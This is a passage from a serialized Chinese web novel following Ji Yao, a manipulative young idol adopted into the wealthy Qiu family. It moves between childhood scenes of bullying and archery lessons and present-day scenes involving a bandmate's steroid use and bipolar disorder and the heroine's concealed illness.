他狼狈得直不起腰,蜷缩在沙发和茶几间的缝隙里,脸颊因呛咳和醉酒而潋滟酡红。 季尧颤抖着,好半晌才堪堪压住咳嗽,慢慢抬起头。 他扭腰趴去沙发上,将脸埋在邱芜澜刚刚坐过的位置,醉眼朦胧地呼吸,直到身体彻底平静,他才摇晃着起身,收拾盘叉酒杯与满地的狼藉。 那张脸泛着烂熟的瑰色,唇角眉梢却满载愉悦的欢欣。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 16、第十六章·【过去】 “放松。” 微凉的兰草气息从后拥来,季尧肩膀一沉,被一双纤长的手覆上了手背。 “太高了,低一点。”那双手带着他,把弓把向下移,直至靶心上方两厘米左右。 平稳清浅的呼吸自他头顶掠过,少女低喝:“放。” 羽箭迅疾射.出,直中八环。 同在靶场观摩的邱泽安一愣,他和弟弟去年第一次上弓箭课时,最高成绩也不过五环。 尽管当时有教练手把手带着拉弓,可对初学的稚童来说,松弦的那一刻是极其恐怖的。 高速绷回的弓弦刮过稚童细嫩的皮肉,一旦感受过那种灼痛,心理很难不留下阴影,此后松弦的瞬间会本能缩手,导致箭矢偏斜。 可季尧几乎一动未动,他甚至没有佩戴防护手套。 邱芜澜拉起男孩的手,泽安七岁用的手套对季尧来说太大,就连扳指都不适合,松松垮垮地随时会掉落。 不出她所料,弓弦果然擦伤了季尧的手。 半分钟后,鲜红的血液淌出。 她看向季尧,问他:“痛不痛?” 季尧点头:“痛。” “不想学了?” “姐姐觉得我要学吗?” 邱芜澜退开两步。 “学”她说,“我要你学会它,学好它。” 季尧抬弓,没有二话地对准了红心之上两厘米处。 他松弦,手指没有一丝的抖,射完一箭后接过女佣递来的第二箭、第三箭…… 直至弓弦都被他染红一寸,邱芜澜才叫了停。 男孩转身,圆眸漉湿,被太阳晒得红扑扑的脸上不见半点烦躁、抵触,有的是小金毛犬一样的纯真乖巧。 邱芜澜拿手帕捂住了他的右手,对季尧露出了他进入邱宅以来的第一个笑。 “很好。” 一旁看着的邱泽安倏地打了个寒颤。 他想,让他不寒而栗的一定是季尧。 哗—— 浑黑的污水兜头倒在了季尧头上。 他抬头,看见楼梯上举着水桶的邱泽然。 不是上个世纪了,邱泽然找不到粪水,只能找到扫地机器人换下来的污水。 他公然将整桶水倒到季尧身上,却不像从前恶作剧成功后那样哈哈大笑。 金尊玉贵的小少爷脸色阴沉,比被淋了污水的季尧更加愤怒。 “滚!”他居高临下地冲他喊,“滚出我家!” 季尧眨了眨眼,眼睫上的污水颗颗坠落。 他湿透了,白色的衣服被染得混黄,却冲上方的邱泽然弯起唇角。 “泽然哥哥,我做错什么了吗?” “我让你滚!”邱泽然大力拍打着楼梯扶手,“滚出我家,你听见没有!” “可姐姐说,这里也是我的家了。”季尧依旧冲着他笑,笑容的弧度和油画中的天使一模一样,并不发自内心,更像是一比一的还原复刻。 邱泽然爆发出尖叫,他气得双眼猩红,冲下楼一把推倒了季尧,骑乘在他身上提拳揍他。 “你这个不要脸的东西!你妈来抢我们母亲的位置,你就来抢姐姐!你和你妈都是婊.子,我打死你!打死你们!” 季尧没有还手,他只是扭头躲避,一边道歉,“对不起、然哥哥对不起……” “你哭什么哭!”邱泽然拽着他的衣领又是一拳,咬牙切齿道,“我告诉你,姐姐今天去学校了,别想着有人来救你!” “泽然少爷!” 他这一拳没能打下去,一只粗糙年迈的手握住了他的手腕,将他拉了起来。 邱泽然一愣,在看见人事管家严厉的脸后,大力挣扎起来,“你干嘛拦我?我要打死他和他的小三妈!” “泽然少爷,”管家语气无奈,可抓着他的手铁钳一般,半分不松,“季尧是先生带回来的孩子,是我们的客人,您不该这么做。” “什…”邱泽然瞳孔微缩,不可置信道,“你、你是要向着他?” 他看向倒在污水中的男孩,那张漂亮的脸被他打得青一块紫一块,在他望来时,瑟缩着向后挪了几分。 “你要向着他!”邱泽然指着季尧,冲管家大喊,“连你也向着他们!母亲还以前让我们把你当做爷爷、让我们给你养老,你就是这么报答她的!” “好啊!”他猛地甩开管家的手,“你去伺候你新的女主人和小少爷去吧!” 他撞开管家跑回楼上,无论管家如何叫他,都不肯回头一下。 管家叹气,在长久的沉默中,忽然传来男孩细微的声音。 “管家爷爷,别难过……”季尧迟疑地开口,“少爷只是赌气,不是真心话。” 他自己一身的伤,却还是小声地宽慰他。 管家苦笑,他相信邱岸山不会让一个肤浅的外姓者当妻子,但眼前这个孩子—— 他眯眸,苍老的眼中流露锐利的精光。 倒真不是个省油的灯。 季尧自己从污水中爬了起来,管家让女佣给他洗澡换衣,又叫了医生来处理。 当天晚上,邱芜澜在到家之前便得知了来龙去脉。 “泽然少爷不是故意的,”管家劝她,“夫人刚走,他心里难免难受。” “你在担心什么。”邱芜澜抬起下巴,让简解开学院制服上的纽扣,“认为我会责怪泽然么。” 管家抬眸,少女褪去了外套,“他的确需要一点教训,不仅是他,还有泽安。” “我不明白您的意思。”管家说。 “让他们准时出来吃饭。”邱芜澜道,“包括季尧。” 少女身上只剩下一件衬衫,简侧身,示意管家回避。 管家只得躬身出门。 他对着邱芜澜紧闭的房门感到痛心。 他无力代替夫人的位置,而先生也很难再回到家里。 失去双亲的庇护,变得敏感暴躁的不只是两个男孩,从前温和的小姐也在昼夜之间变得浑身带刺。 她被迫长大,不得不保护这里、不得不管控这里。 餐桌上一次气氛这么僵硬,还是邱岸山宣布要接季葶和季尧来本家的那顿早饭。 两个男孩和季葶母子对面坐着,分割出势不两立的气势。 季葶心里烦得要死,却不得不倾着上身,冲对面的邱泽然道歉,“泽然,阿姨听说今天的事了,是季尧不对,阿姨已经打过他了。你要是还生气的话,阿姨也向你道歉好不好?” 她身边的男孩沉默着,脸上贴了两块纱布,额头也被绷带缠了起来,整个头几乎都被白色所覆盖。 邱泽然恶狠狠地瞪她,“闭嘴,老妖婆!口水喷到我筷子上了!” 季葶苹果肌一僵,餐桌下的手死死攥住了裙子。 直到邱芜澜近入餐厅,她连忙起身,热络地笑道,“芜澜来了,今天去学校累不累呀?” 邱芜澜朝她走去,在季尧身前停下。 季尧抬头,其余三双视线同时汇聚到了他们身上。 季葶心脏缩紧,来庄园的这些日子,她了解了不少东西。 比如,她没有权力摘下挂在门口的画像; 比如,哪怕她是唯一进入本家的情人,邱岸山也依旧不把她放在心上; 又比如,邱家的两个小少爷虽然跋扈,却并非邱家最难啃的骨头。 邱芜澜—— 邱岸山骗了她,邱家没有缺失女主人,在邱夫人去世的那一天,新的女主人就已诞生,全盘掌控了这里。 眼前十四岁的少女,俨然是着这栋庄园、这个庞大家族的新任女主人,是她绝不可以触怒的对象。 季葶赶在邱芜澜诘问之前表明立场,“芜澜,有件事我正想和你商量。” 她急切道,“季尧以前都是外公外婆带的,来了这么多天,他还是不能适应,我想着还是让他回外婆家住,你看能不能安排辆车子送他回去?” 邱芜澜闻言,看向季尧,“你不能适应?” 季尧揪着自己的手指,犹豫地瞄了对面一眼,“我只是……还不太了解哥哥们而已。” “姐姐,他在撒谎。”说话的是哥哥邱泽安,“他太虚伪了,把他留下没有好处!” 八岁的邱泽安还不知道绿茶、白莲花这种词汇,只能用虚伪来概况自己的想法。 “没错姐姐!”邱泽安开口之后,邱泽然也撑桌站了起来,他用眼神喷火地盯着季尧,恨不得将他啖肉喝血,“他才来了半个月,就把管家骗得死心塌地的。要是哥哥和父亲回来,也会被他欺骗的,我们要立刻把他赶走!” 季尧没有辩解。 他垂着脑袋,继续揪玩自己的十指。 啪嗒。 泪水无声地落在扭曲的十指上。 “既然你们都对现状不满,”邱芜澜扫过同桌的三个男孩,相仿的年龄,截然不同的处境,“我也不想这个家里每天都是拙劣的恶作剧,像是个马戏团。” “这样——”她面朝邱泽安邱泽然,“从今天开始,季尧和你们一起上课。在哥哥回来之前,如果你们每门课的成绩都维持在季尧之上,那就说明他的确是个空言无物的骗子,我会请父亲把他带走。” “真的?”邱泽然一扫怒气,兴冲冲地踩在椅子上,“只要比他高,你就一定把他赶走?” 听了邱芜澜的这个要求,兄弟俩都一阵松快,以至于没有察觉到这话里的因果逻辑有误。 再怎么说,他们所学的课程多达十数门,连公办小学一年级都没上完的季尧无论如何都不可能在两个月里超过他们。 “我会尽量说服父亲。”邱芜澜说罢,又看向季尧,“同样——不管你有什么地方不适应,只要这两个月里,你有任一一门课程的成绩超过泽安或是泽然,就可以向我提一个要求。” 她停顿半息,徐徐补充,“哪怕是要让你不适应的人离开这栋庄园,我也会考虑。” 这句话把两兄弟震在了当场,连季葶都慌忙出声,“芜澜,用不着这样,是季尧不懂事,要走也该是他走。” “明天老师会来见你。”邱芜澜抚过男孩垂在绷带上的软发,“我会让管家准备好你的文具。” 季葶和邱夫人的诸多相似之处中,数头发最为相似。 季尧遗传了妈妈的卷发,邱芜澜亦是。 他们的发质、发色如出一脉,极其相似。 季尧感受到身后灼热的视线,他知道季葶正焦急惊恐地警告他,也看见了两个邱家真正少爷的冷脸怒目。 在四面八方的质疑和恫吓中,他握住了邱芜澜的手,像是握着了茫茫大海上一艘巨轮的舵。 “谢谢姐姐,我不会让你失望。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 17、第十七章 “一百二十五号,季尧。” 器乐是艺校期末考中的大科,对音乐生而言更是尤为重要。 季尧一路走来,两边不少学生偷偷瞄他,但凡对上目光,都会得到季尧友善的微笑。 精致的混血长相、优越的身材仪态,即便知道季尧的业务能力不强,但当这样美好的少年冁然一笑时,还是让不少学生心甘情愿地入了粉籍。 就娱乐圈的现状而言,季尧的粉丝氛围还算干净。 一来他名气不算大,二来没什么炒作,相当一部分活动都集中在公益慈善上。 季尧推开器乐教室的门,向考官出示准考证,坐去了钢琴之后。 修长暖白的十指与琴键相得益彰,这样的手天生就该弹琴,而钢琴键上的手,也理该是季尧这样。 玻璃窗上围满了学生,激动地往内张望。 夏日的阳光透过葱茏绿树,斑驳地落在少年和钢琴上。 他半垂着眼睑弹奏,考官时不时就要提笔记录——记录他弹错的地方。 走廊上几个男学生发出嗤笑:“花架子一个,我十岁都弹得比他好。” “别这么说,已经比他声乐水平好多了。” “多损呢哈哈哈。” 一曲结束,教室门从内拉开。 季尧从中走出,立刻有不少女生围了上去,“季尧季尧!给我签个名好不好?”“能不能拍个照呀?”“最近都没怎么看见你的消息了,是要进组了吗?” 人群外围的冷嗤愈发响亮。 无数双眼睛对着季尧。 离得近的是猩红的赤眸,滚烫而黏腻,溢出熔岩;离得远的是漆黑的乌瞳,冰冷而嫉恨,淌着恶毒。 这两种眼球时常围绕季尧,小时候他只见过后者,在被邱芜澜拾起后,前者才慢慢出现。 季尧从上衣袋里抽出笔,笑吟吟地问面前的女生:“签哪里?” “这里这里!” 狂喜的尖叫声连成一片,季尧低着头,一张张认真签下自己的名字。 “拜托让一下好不好!”直到有不耐烦的声音刺入,把外围的一个女生扯开,“你们堵在门口,别人还要不要考试了?” 女学生被扯得撞向一旁,差点跌倒,身边的朋友立刻回击:“干嘛推人啊!还是不是个男人了?” “就是,你不能好好说吗?” “是你们先堵门的好不好?没看到后面的人要考试吗!” “那你也不能推人啊!” “就推怎么了?”人高马大的男学生说着,又伸手推了一把,“好狗不挡道。” 这举动引发了众怒,原本等着签名的粉丝纷纷调转头来,扶着被推的女生一同指责男生。 和男生一道的几个朋友立即上前帮腔。 双方在考场门外骂作一团。 一时间,人群中心的季尧反而变成了最外围。 他执着笔,欣赏了一会儿男女互相指责的闹剧,看着一群互不相识的同窗在一瞬之间面红耳赤、推搡咒骂。 真有趣。 他努力藏住唇下尖锐的犬牙。 也真无聊,傻子一样。 “不好意思同学。”他绕过人群,走到热点中心,护在了女生之前,“对不起,是我刚才没注意。” 见季尧过来道歉,男生臭着脸,却没再骂人了。 都是影视学院的学生,他们还在上学,季尧已经入圈三年多。他敢骂骂和自己一个水平的女学生,却不敢对季尧太过分。 这种颜值偶像最不缺的就是脑残粉,一句话说重了,那群脑残粉都会把他开盒。 “人家是女生,还是学妹。”季尧拍了拍男生的肩,“再说后天还要考声乐,别把嗓子弄坏了。大家互相道个歉,这事就过去了,行不?别耽搁了考试。” 男生梗着脖子,草草点头,对女生胡乱道了句对不起,便从季尧身侧挤开,进了考场。 进门之后,他嘟囔了一声:“娘炮。” 隔着门,声音小,现场又吵,离他最近的学生都没有听见,却被季尧精准捕捉。 人类社会并不遵照狼群的法则。 今天他把c小调第二章弹成b小调第三章,门外的这些粉丝也一样视他为“偶像”; 而就算他拿到了肖邦国际奖,骂他娘炮的人也一样会这么骂他。 前者和后者一样盲目,一样让他觉得愚蠢可笑。 可即便是狼群,有时也未必完全尊崇实力秩序。 在满世界滚烫的赤眸与冰冷的黑瞳中,只有一双眼睛平静理性,真正看见了季尧,为他建立起公平公正的竞技场。 他离开拥挤混乱的人群,戴上黑色口罩,坐进车里。 “季尧,快回公司,”刚关上车门,经纪人唐知行就打来电话,“有个s级的剧本!角色很适合你!” 季尧想直接挂断,又想起昨天晚上,邱芜澜问他的那一句: “想做演员么?” 他虚握着方向盘,在大学的林荫道上放空思绪,浅色的瞳孔虚无地沿着银杏道路向前蔓延。 良久的沉寂后,引擎倏地发动。季尧打死方向盘,一把掉头回了公司。 进入电梯,他将震个不停的手机静音,隔绝了唐知行的催促,径直去了二十六层。 隔着玻璃墙,他瞥见邱泽安的办公室空着,办公桌下,有两三张糖纸露了出来。 垃圾桶藏在桌子下,看不清具体的情况。 季尧脚步一转,叩了叩秘书综合办公室的玻璃墙。 早就注意到他的接待秘书立刻走了过来。 隔着玻璃,季尧冲她微笑着指了指邱泽安的办公室。 对方顺着他的指示看去,发现了落在地上的糖纸,当即快步走去处理。 季尧站在廊上,看见小姑娘弯腰拉出垃圾桶,提出了一包鼓鼓囊囊的垃圾袋,把落在地上的那几张糖纸塞进了袋子里,一并拿去楼道扔掉。 望着那塞满的垃圾袋,季尧若有所思地看了眼时间。 上午十一点差两分。 邱泽安的病很早就控制住了。 只是入股一家地方电视台、打造一个影视城而已,有姐姐主持核心,他不该有那么大的压力。 能让邱泽安精神病复发,要么这两个项目不止表面那么简单;要么,他被迫独立,失去了姐姐的庇护。 副总裁办公室门打开,邱泽安甫一抬步,便看见了走廊上的季尧。 他的眉峰瞬间紧皱,“你在看什么?” 季尧弯眸,“我来谢谢姐姐给我剧本。” 邱泽安从他身边大步离开,“拿了你的玩具滚,少打扰姐姐。” 他步履匆匆,季尧余光瞥见他进了办公室,坐下之前,邱泽安先拉开了左边的抽屉,拿出了一颗糖。 眼睛有些酸涩发冷。 季尧扫过玻璃墙,在自己脸上看见了一对漆黑的眼球,冰冷而嫉恨,淌着恶毒。 他唯一的竞技台崩塌了,可邱泽安的还在。 只因为他姓邱,便能永远酣睡在甜蜜的糖果中。 “季尧。”匆忙的高跟鞋声自走廊尽头响起,简持着文件,往邱芜澜办公室方向走来。 “你下午要去录音棚?”没等季尧回答,她径直开口,“我今天有点忙,你去取一下邱总的药。” 她穿过季尧推开办公室门,扭身嘱咐:“要取的药我发给你,别人我不太放心。” 季尧应了,“好,我一会儿就去。” 这纯良无害的笑容让简有点不舒服。 她总觉季尧是嘲笑她。 是的,她厌恶他、看不起他、绝不想他扒在小姐身上吸血,可当涉及邱芜澜的事情时,简又不得不承认,季尧的确是最靠谱、最省心的人选。 简不是质疑其他几位少爷的感情,只是他们都太过忙碌,有自己的事情要做。 办公室的门被简反手带上,她没有让季尧进来的意思。 季尧在办公室门一米之外的地方停留了片刻,继而转身离开。 如此之近的距离,门曾两度打开。 两次开门,他都开口说了话,门里却没有传来对他的召唤。 季尧最擅长的就是乖巧懂事、自知之明。 取药的医院他很熟悉,是一所私密性极高的私人精神医院,半个邱家的精神心理医生都在这里坐诊。 简已经让医生把药交给了前台。 戴上帽子和口罩,季尧出示了一下邱芜澜的电子身份证,前台护士便把装了药的牛皮纸袋交给了他。 正欲离开,季尧脚步一顿,看见大堂电梯打开,里面走出了一男一女,男人的身形分外眼熟。 他戴着兜帽、低着头,在女人的陪伴下来前台缴费,没有发现一旁的少年。 直到季尧开口,饶有兴味地唤出了他的姓名,男人才慌张抬头,露出了兜帽下的半张脸来。 “杨木?”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 18、第十八章 他身边的女人立刻抬手遮挡杨木的脸,急匆匆地要拉着他往外走。 “没事妈,”杨木摇了摇头,“是季尧。” 女人回头,这才顾得上看一眼指认杨木的是谁。 发现果真是儿子的队友,而不是记者、粉丝后,她缓缓将手收回,对着季尧尴尬地笑了笑。 “季尧,你怎么会在这儿?” “来医院,当然是看病了。”季尧晃晃手里的药袋。 杨木吃了一惊,忙问:“你生病了?什么病?” 他语气迫切,称不上关心,也不至于幸灾乐祸,更像是深陷泥淖的人发现泥淖里不止自己一人的安慰。 还是他妈妈扯了扯他的衣袖,小声提醒,“木木,这里不适合聊天,请你朋友到我们家里坐坐怎么样?” “对、对!”杨木热切地望着季尧,“季尧你愿意…啊,要是你有空、你是不是还有行程?” 他说得语无伦次,季尧接了话,“我还有四个小时录音,正不知道要去哪里打发时间。” “那、那……”高大的男生腼腆地提出邀请,“那就来我家吧,离这里不远。” “好呀。” 杨木妈妈开车,一辆中档小轿车,去了新区的居民区。 瑚城的规模越来越大,这些年吸纳了不少周边地区,快速发展起来的周边地区便称为“新区”,多是一些居民住宅,为了缓解瑚城的住房压力。 严格意义上,杨木一家不是瑚城人,他们家是十年前才划入瑚城的。 季尧很久没进入过这么密集的住宅区了,一栋栋超过二十层的商品房排在一起,像是小朋友努力堆起的积木,需要集中全幅注意力,手指稍抖就会碰到一栋,连带着将整片积木都压倒坍圮。 这种作品高大壮观,但脆弱不堪,是高速发展时的产物。 房龄不算久,季尧却在角落看见了臌胀、剥落的石灰皮。 他跟在母子后面进门,百平米的三室两厅,如同家庭情景剧里的装潢,没有什么风格,墙上有挂历,沙发桌上散着瓜子、零食,鞋柜上有手套、钥匙。 这些零碎挤占了不少空间,阳台上还挂着颜色各异的衣服袜子。 杨木妈妈不好意思地对季尧说,“不用换鞋,家里没收拾,有点乱。你们坐,我去给你们切点水果。” 她转身去了厨房,季尧被杨木带去了他的房间。 天蓝色的墙纸铺满了这个十平米的空间,一张一米五的单人床、一个衣柜、一个书桌,飘窗上斜躺着一把吉他、一个五线谱本和两支笔,床头角落还有一对大重量的哑铃。 这间房,出现过杨木选秀时的个人介绍里,那时还没有这对哑铃。 “随便坐。”他摘下兜帽,超过一米八五的个子坐在床上,即便微微含胸弯腰,也把这里的空间挤占得有些逼仄了。 季尧去了飘窗上,窗外是两栋楼,严严实实地遮住了一切外景,连天空都像是一块拼图碎片。 “这就是你创作的地方?”他拨了拨杨木的吉他。 杨木自嘲地扯了扯嘴角。 他沉寂下来,在医院见到季尧的喜悦逐渐平静,恢复了平常的沉闷模样。 参加选秀之前,杨木是没什么名气的网络歌手,发过十几首歌,也开过直播,虽然没有水花,但在选秀的其他参赛者当中,也算得上才华横溢。 出道后他有了点名气,却再没有发过歌了。 rni所有的曲子都由职业音乐人制作,轮不到杨木一个业余插手。 “这是你小时候的房间?”他没有回话,季尧自顾自打量其他地方,“怎么不住艺人宿舍?” 和父母住在一起、又是密集的小区,弹吉他和唱歌都受限制。 杨木沉默片刻,低低开口:“一开始是公司安排的宿舍,现在有点…不方便。” “因为病?” 没有料到季尧如此直接,杨木语塞一下,承认道,“嗯。” “罗浩炆说你天天跑医院打药。”季尧随手拿起飘窗上的笔,在空白的五线谱上涂鸦,“原来是心理病。” “他说我打药?”杨木呼吸重了两分,隐有薄怒,旋即却又垮下了肩膀,“是,可能是,开始的确是身材焦虑。” 季尧不甚在意地发出一声鼻音,在本子上画了几笔后开始翻看前面的内容。 哗哗的纸张声中夹杂着男人的喃喃低语,“你记得拍《热》mv的时候么。” “第一次出歌,我焦虑失眠了很久,所有休息时间都用来练曲。” “那段时间队长让我别太焦虑,他不知道,我虽然焦虑,但也很有信心,我是队里的vocal,rap以外,我的唱功是最好的,何况拍摄不是现场,我随时可以重来。” “直到拍摄的前两天,拿到服装时,我才猛地意识到,这不是在网上发歌。” 他说着,突然烦躁地撸了把头发,随后折过身,用长臂勾开床头柜抽屉,从里面拿了根拉力器来,坐在床上拉伸。 季尧翻页的动作稍停,潦草的黑色音符涂满了整个页面,本子的缝隙中有一根头发落在了里面。 “第一次发歌,我知道尘霄哥压力是最大的,他经常熬夜,睡得比我们都晚。” “可拍摄那天,他脱下上衣,干得像是健美选手,腹侧都在拉丝。我才知道,他已经脱水两天了。” 杨木发出些吃力的哼喘,双臂开合拉伸了几下,又把弹力绳踩在脚下,开始做脚蹬拉伸。 他的肱二头肌相当壮观,可动作变幻得略有频繁,肢体和眼神都充斥着躁。 明明在健身运动,却透出些戒烟失败的老烟民复吸的报复感。 季尧斜眸,在杨木坐着的床上又少见了几根明显的头发。 “队长自律,连浩炆和你也一身肌肉。”他意识到这话不妥,连忙补充,“那个…你们看着不像是健身爱好者,就是可能会运动,但不太像身材那么好的那种人,对吧……” 他越解释越糊涂,涨红的额角突起青筋,一脚瞪下去,将拉力绳拉得吱吱作响,狭小的房间愈添闷窒。 “我知道你的意思。”季尧开口,“观众都觉得一天做一百个仰卧起坐就会有腹肌马甲线,以为控制下饮食、每天花三四个小时健身就会有金刚狼、终结者那样的身材。” “是的、是的,我就是这个意思!”杨木感激地瞥了他一眼。 见季尧没有误会,他身上的躁气稍微平息了两分,换了口气,得以继续下去。 “那时候我根本没有意识到,明星偶像和网络歌手是不一样的。” “唐哥都被我气疯了,拍摄延期,他回去臭骂了我一顿。” 杨木抿紧了嘴,好一会儿都没再说话。 他不说,季尧替他说:“他给了你药?” 哐——拉力器骤然收缩,做完一组后,被杨木扔去了墙角。 接手rni之前,唐知行很久没有带新人了,他是老牌的男偶经纪人,身材管理这种基础的事用不着他说。 因此,彩排那天,当胸腹松弛光滑、甚至有些微胖的杨木出现在唐知行面前时,他呆怔了几秒,后知后觉地意识到——自己忘记提醒rni做身材管理了。 唐知行忘了提,他是有错,可这难道不是男偶像的常识? 否则为什么另外三个都符合要求,就杨木一身松肉? 新曲的宣发都出去了,距离mv发布只剩下三周。三周时间可以暴减二十斤,却绝练不出肌线分明的肌肉。 唐知行只能使用类固醇,即使是用药,后期也还得再修、再调。 用不着杨木的坦白吐露,他能在三周内脱胎换骨,季尧和另外两个人都很清楚原因。 高大的青年扭头,汗津津的脸对向了季尧。 “那时候你是……十、十八岁?我听说你进娱乐圈是因为不喜欢读书。” “季尧,你对娱乐圈并不上心,不可能为了做偶像去疯狂健身。” 他紧盯着少年,目光却并不严厉,而是有些恍惚和迷茫。 “尘霄哥自律努力,浩炆…很精明,他们我都能理解,但是你——季尧,为什么一个高考生、一个天天打游戏的富家子弟会有那么漂亮的身材?” 他犹豫又期待地望向季尧手边的牛皮纸药袋,“季尧你是不是也……” “也什么?”季尧支着下巴望着他。 他的视线近乎不谙世事,好像对这个困苦的世界一无所知,可又好像洞悉了一切,如猫爪玩弄虫子一样,高高在上、兴致盎然地将他的痛苦视为消遣。 杨木无端从那笑容里感受到了愚弄。 他的沉默让季尧扑哧笑了出声。 当着杨木的面,他忽而拉开了上衣,露出紧实的腰、平坦的腹部。 六块腹肌的轮廓清晰可见,少年漂亮的手指刮过肌肉间的浅壑,他笑意盈盈地盯着杨木,“很漂亮吗?” 杨木的眼睛不受控制地随着季尧的手指游移,他屏气凝神,大脑里顷刻间堆满了各种杂音。 为什么那么干、为什么那么明显、为什么日常也能有这个状态? 其他男艺人也是这样吗? 他们并不只是上镜的时候这样,日常都是这个状态? 他昨天吃了什么?他今天早上为什么没有训练? 杨木死死盯着季尧露出的腰腹,同为男艺人,他比谁都清楚在不用药的自然状态下达到这个水平要多刻苦。 “你是,健美爱好者么。”他艰涩地开口,试图为自己开脱,“为什么平常也能有这个状态。” “我对健美没有兴趣,”季尧松手,衣服落了下来,“但既然我的身体随时有可能要展现给人看,那当然要做好养护。” 他弯眸,浅色如玻璃糖的瞳孔淌出甜蜜的笑意,“否则,怎么取悦看它的人呢。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 第19章【VIP】 第19章 第十九章 少年靡丽的笑容让杨木心里说不出来的古怪。 他张了张嘴, 房门在此时被叩响,端着果盘的杨木妈妈走了进来,“我就送点水果, 你们聊、你们聊。” 她很快离开,贴心地关上了门, 却将房内的气氛一扫而空。 “你说得对,我们的工作性质就是这样……”杨木垂头, 像是触碰到异物的蜗牛触角,立刻缩了回去。 季尧捻着水果上的牙签,望着这一大盘处理好的水果, “今天不是工作日么, 阿姨是全职太太?” “不, 没有。”杨木迟缓地喃喃, “她是为了我。” “为了照顾你, 她辞职了?” “差不多。”杨木苦笑, “小时候我很难见到父母, 他们天南地北地跑业务,过年过节都未必回来。那时候我还装过病,想骗他们回来。” 他抱着头, “现在我明明说了不需要人陪, 我妈却天天请假非要拉我去医院。” 季尧眸光微瞥, 他将牙签拔起,又漫不经心地刺回果肉中。 “对了杨木哥, 你刚才说, ‘开始的确只是身材焦虑’,现在呢?现在是什么了?” 杨木搓了搓脸,直起上身, 露出一张疲倦的脸。 他破罐破摔似地道,“双相。” “几型?”季尧问。 “2。” 季尧点点头,“不算太坏。” 杨木有些诧异,“你也是双相吗?” “不。” “那你怎么这么了解?” 季尧耸肩,“这不是常识么。” 他的说法让杨木不知如何接话,讷讷道,“也没有、那么常识吧……” 季尧安慰道,“别这么沮丧,这种病对你来说也不是没有好处,不是么。” 他意有所指地看向飘窗上的曲谱,“没想过给唐哥看看么?” 杨木摇头,“我不敢看。” “嗯?” “看狂躁期写的曲子,会让我想起当时的状态,接着又陷入那种情绪。”他叹气,“何况这些东西和职业作曲人相比根本不值一提。” “也是。”季尧从善如流地附和,“是该远离刺激。” 杨木说完自己,问起了季尧,“你今天去医院是?” 季尧拿起飘窗上的药,“哥,我到时间了。” 杨木啊了一声,迟钝地反应了一会儿,接着起身,“那我送你。” “不用。”季尧冲他摆手,“我打车回去。” 他走出房间,一出门就看见了沙发上的杨木妈妈。 “怎么了,要走了吗?”她立即起身迎来,“多留会儿,吃了饭再走吧。” 她表现得有些紧张,出口的话并非客套,更偏向恳求,“木木出道后第一次带朋友过来,你们再玩儿会儿?一起聊聊音乐?” 季尧晃了晃手机,“实在不好意思阿姨,我赶时间。” 女人去看杨木的脸色,见杨木耷拉着眼睑,叹气道,“好吧,那以后有空多来玩,路远的话,阿姨可以去接你。” 季尧笑了,露出一对尖尖的犬牙,“好哦,谢谢阿姨的水果。” 送季尧出门,杨木妈妈笑着对儿子说:“季尧还挺可爱的,在家里肯定很受宠。” 杨木一顿,脸色沉了两分,妈妈马上反应过来:“我不是说你呀木木!他那么多哥哥姐姐,可爱点无所谓,要是家里就一个儿子,这种性格才叫人担心。” 杨木挫败道,“我知道的妈,你不用这么小心翼翼。” 女人哦了一声,可还是偷偷去瞥杨木的脸色,一边急着改换话题,生怕自己刚才的那句话惹得儿子病情发作。 “我看他从医院出来的时候,手里也拿了药,他是什么病呀?” “不知道。”杨木摇头,“他没有说。” 那个药袋不小。杨木疑惑,像季尧这样的公子哥儿,既有实力强大的姐姐罩着他,又不像两个邱总和邱特助那样有工作上的压力,他这种顺风顺水长大的小少爷,会有什么心理疾病呢…… 精神类药物的副作用不小,好的医生开药时十分谨慎,季尧手里药的分量委实有点恐怖,这也不是家庭常备药可以囤积,难道他真的有很严重的病么? “药。” “在这里。” 那只牛皮纸袋从季尧手中到了秋叶娱乐副总办公室的休息间里。 简匆匆忙忙地拧开药瓶,对着手机上发来的用药建议一瓶瓶、一盒盒看过去。 她终于拿齐了药,连着一杯温水送到邱芜澜面前。 邱芜澜蹙着眉,分了两次才全部服下。 “邱总。”有秘书叩门,“宋姐想约您谈一下,问您什么时候有空。” “谈什么?”简问。 “她没说,问我要了您今天的排程表。” “你给她了?” 小秘书愣了下,怯怯点头,“前辈说让我给的……” 简死死拧眉,“行了知道了!” 秘书退了出去,邱芜澜后仰靠在椅背上,阖眸开口,“别迁怒。” 简深吸一口气,努力让自己平静下来,“把上司的行程随便给别人看,本来就是不对。秘书室怎么回事,新人就算了,老秘书还为虎作伥!” “我都拒绝不了宋折凝,何况她们。”邱芜澜说着,声音虚浮困倦,仿佛随时都会睡着。 今天下午邱芜澜有一个半小时的空档,这个空档是简排出来专门给她吃药的。 田烨找上门那次,邱芜澜意外发作,证明原来的药已控制不住病情,医生便给她开了新药。 药物固然能抑制邱芜澜日渐严重的性.瘾,副作用也会使她出现短时间的乏力、嗜睡和胸闷头晕。 简排了一个半小时出来,让她好好休息,却被秘书泄露给了宋折凝。 “我去和她说,您有个紧急会议。”简说着就要出去,被邱芜澜拦下,“没关系,就这样吧。” 宽大的办公椅上,女人徐徐直起上身,裁剪得体的正装下,她的脊背又一次挺直,双眸也重新睁开。 简心疼不已,“您现在的状态可不适合谈事啊。” 邱芜澜偏头,纤细的手指梳理着方才被压住的长卷发。 “没关系,”她又一次道,“她谈的不会是什么费神的难事,安排吧。” 邱芜澜的病是秘辛。 如果说邱泽安、邱泽然的病情还有公关的余地,那么邱承澜和邱芜澜的病情就是绝对的禁忌。 由男人掌控的名利场上,女人本就是被排挤、被掠夺的弱势群体。 一旦邱芜澜的性.瘾暴露,将和往鲨鱼群中倒入血水无异。 届时的秋叶娱乐乃至整个秋叶集团都会面临股票暴跌后的一系列灾难,邱芜澜更是会被撕咬成碎片,沦为茶余饭后的笑柄。 这件事上,邱芜澜和简都绝对保守、绝对小心,不能走漏任何风声。 宋折凝已经知道了这个时间段邱芜澜没有安排,依她的性格,不管简找什么借口,都不会相信,一定会不管不顾地找上门来。 “……是,我去通知她。” 简万般不情愿,可她知道邱芜澜说的没错。 宋折凝咖位虽大,却没什么城府心机,能谈的无非就是要资源、要人,顶天了也就是想多要点分红而已。 但这一次,情况有些超出两人的预计。 “影视城的项目,我要入股一个亿。” 